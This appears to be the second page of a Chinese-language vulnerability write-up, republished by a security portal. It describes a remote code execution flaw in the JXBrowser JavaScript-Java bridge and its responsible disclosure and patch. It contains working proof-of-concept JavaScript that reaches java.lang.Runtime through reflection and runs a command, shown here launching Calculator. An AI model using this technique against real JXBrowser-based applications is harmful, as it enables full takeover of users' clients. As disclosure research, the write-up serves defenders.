Loading
0

JXBrowser JavaScript-Java bridge 中的RCE漏洞

list = window.someObj.getClass().forName("java.util.ArrayList").newInstance();
list.add("open");
list.add("-a");
list.add("Calculator");
a = list.toArray();
window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance(a));
此次调用又抛出了一个异常(提示此方法不存在),并且系统提示我们传递过来的参数实际上是一个JSObject。所以,即使我们创建了一个ArrayList并用toArray方法进行转换,得到的也是一个js对象,所以我们传递给ProcessBuilder对象的永远都是类型不正确的参数。
接下来,我们又尝试直接去创建一个数组(Array)。但是,我们在调用java.lang.reflect.Array实例的时候又出现了问题,系统再一次报错:参数类型不正确。因为对象和方法需要的是一个int类型的参数,但是我们发送的是一个double类型的值。于是,我们打算尝试使用java.lang.Integer来创建一个int类型的值。但是,我又一次悲剧了,这次还是那该死的参数类型问题。Patrick认为,我们可以使用MAX_INT属性来创建一个大数组。可能大家以为,这一次可以得到我们所需要的int类型了,但事实并非如此,Java Bridge会将整型数据(Integer)转换为double类型。
为了解决这个问题,我们打算用下面这段代码进行尝试:

window.someObj.getClass().forName("java.lang.Integer").getDeclaredField("MAX_VALUE").getInt(null);
但是这一次,我们得到了系统所抛出的一个空指针异常。在思考片刻之后,我认为,为什么不尝试发送“123”,看看函数方法是否会接受这个参数值。其实我觉得这并不会起什么作用,但是它却能够打印出我们最大的int值。接下来,我们继续尝试通过最大的int值来调用数组构造器,果然不出所料,系统再一次报错了。然后,我们决定研究下runtime对象,看看我们是否可以使用同样的技术来做些什么。Mike建议使用getDeclareField方法并获取当前的runtime属性,由于它是一个私有属性,所以我们还要将其设置为“可访问”(setAccessible(true))。经过千难万阻,我们终于成功地打开了计算器(calculator.exe)。操作代码如下所示:
field = window.someObj.getClass().forName('java.lang.Runtime').getDeclaredField("currentRuntime");
field.setAccessible(true);
runtime = field.get(123);
runtime.exec("open -a Calculator");
总结
这也就意味着,攻击者可以使用这项攻击技术来对任何一个使用了JXBrowser的网站(部署了JavaScript-Java Bridge)实施攻击,并完全接管目标客户端。
我们已经私下将该漏洞报告给了TeamDev(JXBrowser的项目开发组),他们在了解到该漏洞之后,便在第一时间发布了一个更新补丁。更新补丁启用了白名单机制,并且允许开发人员使用@JSAccessible annotation。请注意,如果你的应用程序没有使用@JSAccessible annotation的话,系统并不会强制开启白名单,而此时上述的攻击方法将仍然奏效。

分页阅读: 1 2
【声明】:8090安全小组门户(https://www.8090-sec.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们:邮箱hack@ddos.kim,我们会在最短的时间内进行处理。